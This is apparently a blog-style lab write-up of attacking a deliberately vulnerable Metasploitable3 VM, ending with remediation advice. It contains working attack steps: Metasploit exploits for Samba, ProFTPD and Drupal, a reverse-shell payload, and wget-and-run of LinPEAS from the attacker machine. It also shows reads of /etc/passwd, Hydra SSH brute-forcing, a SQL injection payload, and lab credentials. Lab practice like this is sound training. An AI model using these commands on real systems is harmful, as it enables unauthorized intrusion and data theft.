Phase 1: Setup and Target Discovery
- Step Description:
- Managing and running virtual machines via VirtualBox, specifically starting the
Metasploitable3-ub1404system and thekaliattacking machine. - Verifying the IP addresses of the target machine (such as
10.0.2.15) via the command line interface to ensure connection readiness and begin the penetration testing lifecycle.
Phase 2: Initial Port Scanning
- Step Description:
- Performing a comprehensive scan of ports and services running on the target machine using the
nmaptool along with version detection scripts (-sV -sC). The scan results showed several open ports including FTP (port 21), SSH (port 22), HTTP (port 80), and SMB (port 445).
Command Used:
nmap -sV -sC 10.0.2.15
Phase 3: Enumeration
- Step Description:
- Targeting discovered services to inspect file sharing and identify the version and data related to the network and shared directories using enumeration tools (such as
enum4linux). Running the enumeration tool against the target address to gather as much system information and available shares as possible.
Command Used:
enum4linux -a 10.0.2.15
Phase 4: Web Enumeration and Service Browsing
- Step Description:
- Moving to examine and browse web services running via the browser.
- Browsing the web server's root directory (
Index of /), which revealed several sensitive folders and applications such aschat/,drupal/,payroll_app.php, andphpmyadmin/.
...............................................................
Port 445 (SMB / Samba) - Penetration Testing & Exploitation Report
1. Initial Samba Host Script Enumeration
-
Step Description: Executed Nmap host scripts targeting port 445 to retrieve SMB details, revealing the operating system version (
Windows 6.1 (Samba 4.3.11-Ubuntu)), computer name, NetBIOS settings, and security mode configurations.
2. Vulnerability Search via Searchsploit
-
Step Description: Used
searchsploitto look for known exploits matching the discovered Samba version (Samba 4.3.11), identifying potential exploit paths such as the arbitrary module load vulnerability. - Command Used:
searchsploit samba 4.3.11
3. Enumerating SMB Shares via Smbclient
-
Step Description: Ran
smbclientwith null/guest authentication (-N) to list available shared resources on the target, exposing shares likeprint$,public, andIPC$. - Command Used:
smbclient -L 10.0.2.15 -N
4. Searching for Samba Exploits in Metasploit
-
Step Description: Initialized the Metasploit Framework (
msfconsole) and searched for available modules related tosambato find applicable exploit vectors. - Command Used:
msf6 > search samba
5. Configuring and Running the Samba Exploit Module
-
Step Description: Selected the
multi/samba/usermap_scriptexploit module (use 15), inspected its options viashow options, configured the target host (rhosts 10.0.2.15) and target port (rport 445), and executed the module to attempt session creation. - Commands Used:
msf6 > use 15
msf6 exploit(multi/samba/usermap_script) > show options
msf6 exploit(multi/samba/usermap_script) > set rhosts 10.0.2.15
msf6 exploit(multi/samba/usermap_script) > set rport 445
msf6 exploit(multi/samba/usermap_script) > run

...............................................................
Penetration Testing & Exploitation Report: FTP Service (Port 21) on Metasploitable3
1. Port Scan & Vulnerability Enumeration
-
Nmap Port Scan: Executed a vulnerability scan script (
--script vuln) targeting port 21 on the target10.0.2.15to check the service state.
nmap --script vuln -p 21 10.0.2.15
-
Interactive FTP Connection Attempt: Connected to the FTP service interactively to verify the version (
ProFTPD 1.3.5) and test anonymous login, which resulted in a login failure.
ftp 10.0.2.15
2. Exploit Search & Metasploit Configuration
-
Searching for Exploits via Searchsploit: Used
searchsploitto look for known vulnerabilities matchingProFTPD 1.3.5, identifyingmod_copycommand execution vectors.
searchsploit proftpd 1.3.5
-
Searching Modules in Metasploit: Initialized Metasploit (
msfconsole) to search for the ProFTPDmod_copyexploit module.
msfconsole --> search proftpd 1.3.5
-
Configuring Target Host (
RHOSTS): Selected the exploit module and set the remote target IP address to10.0.2.15.
use exploit/unix/ftp/proftpd_modcopy_exec
set rhosts 10.0.2.15
-
Configuring Site Path (
SITEPATH): Set the absolute writable website path option for the payload delivery.
set SITEPATH /var/www/html
-
Configuring the Reverse Payload: Selected and configured the reverse shell payload (
cmd/unix/reverse_perl) for the exploit.
set PAYLOAD payload/cmd/unix/reverse_perl
3. Exploit Execution & Initial Access
-
Executing the Exploit Module: Ran the configured exploit, which successfully handled the reverse TCP connection, executed the PHP payload, and opened an interactive command shell session as
www-data.
run
-
Inspecting System Password File: Read
/etc/passwdwithin the shell session to inspect existing user accounts and home directories.
cat /etc/passwd
- Filtering System User Accounts: Filtered the password file entries by home directories to list active system user usernames.
cat /etc/passwd | grep home | cut -d ":" -f 1
4. Post-Exploitation Enumeration & LinPEAS Setup
- Locating and Preparing LinPEAS: Navigated to the PEASS suite directory on the attacker machine and prepared the local Python HTTP server.
cd /usr/share/peass/linpeas
python3 -m http.server 9000
-
Downloading and Running LinPEAS on the Target: Downloaded
linpeas.shonto the target system's/tmpdirectory viawget, applied executable permissions, and ran the script.
cd /tmp
wget 10.0.2.4:9000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh
5. Web Services & Application Reconnaissance
-
Browsing Root Web Directory: Accessed the target's web server index via browser (
10.0.2.15) to uncover hosted directories likechat,drupal,phpmyadmin, andpayroll_app.php.
URL : http://10.0.2.15/
- Opening the Drupal Application: Navigated to the deployed Drupal web application instance to check configuration warnings and login panels.
URL : http://10.0.2.15/drupal
- Analyzing Drupal Configuration Files: Inspected the database connection parameters and security salts found within the Drupal application configuration files.

...............................................................
Penetration Testing & Exploitation Report: SSH Service (Port 22) on Metasploitable3
1. Custom Wordlist Generation via CeWL
-
Generating a Custom Password Wordlist from Project Wiki: Used the
cewltool to scrape and generate a custom wordlist from the Metasploitable3 GitHub wiki page, setting a minimum word length of 7 and outputting it tocew.txt.
cewl https://github.com/rapid7/metasploitable3/wiki -m 7 -d 0 -w /home/kali/cew.txt`
2. User Enumeration Preparation
-
Creating the Usernames List (
user.txt): Prepared a target user list containing potential usernames (such as system accounts and Star Wars themed accounts likevagrant,leia_organa,luke_skywalker, etc.) for brute-force enumeration.
3. Credential Brute-Forcing via Hydra
-
Running Hydra against SSH Service: Executed a password-guessing attack against the SSH service on port 22 using the generated username list (
user.txt) and the custom password wordlist (cew.txt), successfully cracking the credentials (vagrant:vagrant).
hydra -L user.txt -P cew.txt 10.0.2.15 ssh -t 10
4. SSH Access and Interactive Shell
-
Establishing an SSH Connection: Logged into the target system via SSH using the cracked credentials (
vagrant@10.0.2.15), successfully obtaining an interactive terminal session on the Ubuntu 14.04.6 LTS machine.
ssh vagrant@10.0.2.15
username : vagrant
password : vagrant

...............................................................
Penetration Testing & Exploitation Report: HTTP Services on Port 80 (Metasploitable3)
1. Reconnaissance and Service Enumeration
- Nmap Web Enumeration Scan: Executed an Nmap service version and script scan targeting port 80 to detect web technologies and list default or interesting directories.
nmap --script http-enum -sV -p80 10.0.2.15
- Gobuster Directory Brute-Forcing: Ran Gobuster with a directory wordlist to discover hidden folders and endpoints hosted on the target web server.
gobuster dir -u http://10.0.2.15 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
- Initializing Metasploit Framework: Launched the Metasploit console to search and prepare exploits against discovered web applications.
msfconsole
2. Web Application Discovery & Drupal Analysis
-
Browsing Root Web Directory: Accessed the target's web server index via browser to view exposed files and directories such as
chat,drupal,payroll_app.php, andphpmyadmin. URL:http://10.0.2.15/
-
Wappalyzer Technology Identification: Inspected the web stack of the
/drupal/application, confirming it runs Drupal 7 alongside PHP 5.4.5 and Apache. URL:http://10.0.2.15/drupal/
-
Inspecting Drupal Interface: Viewed the Drupal home page and user login portal showing configuration warnings and login fields.
URL:
http://10.0.2.15/drupal/
3. Drupal Exploitation
- Searching Drupal Exploits: Searched for available Drupal 7 exploitation modules within Metasploit.
search drupal 7
-
Configuring and Executing Drupal Exploit: Selected the appropriate Drupal module (
exploit/unix/webapp/drupal_coder_exec), configured the target options (rhostsandtargeturi), and executed the exploit to successfully open a command shell session aswww-data.
use 0
set rhosts 10.0.2.15
set targeturi drupal
run
python3 -c 'import pty; pty.spawn("/bin/bash")'
cd /home
pwd
4. Payroll Application SQL Injection
-
Testing SQL Injection Payload: Navigated to the payroll application interface and inserted a basic SQL injection payload (
'OR 1=1#) into the user field. URL:http://10.0.2.15/payroll_app.php
- Bypassing Authentication: Successfully bypassed authentication via the injection payload, dumping the complete employee salary table with usernames, first names, last names, and salaries.
5. Database & phpMyAdmin Reconnaissance
-
Navigating to phpMyAdmin Directory: Inspected the
phpmyadminfolder from the root index of the web server. URL:http://10.0.2.15/phpmyadmin/
-
Extracting Database Credentials: Analyzed configuration files to retrieve database credentials (
root:sploitme) for database access and authentication.
-
Accessing phpMyAdmin Interface: Opened the phpMyAdmin login page to review database structures and configurations.
URL:
http://10.0.2.15/phpmyadmin/
..............................................................................................................................
Conclusion
This project highlights the practical application of penetration testing and vulnerability assessment methodologies within the Metasploitable3 environment. Through comprehensive reconnaissance and service enumeration across ports such as SSH (Port 22) and HTTP (Port 80), various security flaws and misconfigurations were identified and successfully exploited to gain unauthorized access and retrieve sensitive data.
Key Takeaways & Remediation Recommendations:
Software Patching: Regularly apply security patches and updates to eliminate known vulnerabilities in content management systems like Drupal and underlying web services.
Credential Management: Avoid default or weak passwords and enforce strict password policies to prevent brute-force attacks against services like SSH.
Web Application & Database Security: Implement robust input validation and parameterized queries to defend against vulnerabilities such as SQL Injection (SQL Injection) and safeguard critical database resources.
Understanding these attack vectors and exploitation techniques is essential for strengthening defensive security posture (Blue Teaming) and building effective defenses against real-world cyber threats.







































Top comments (0)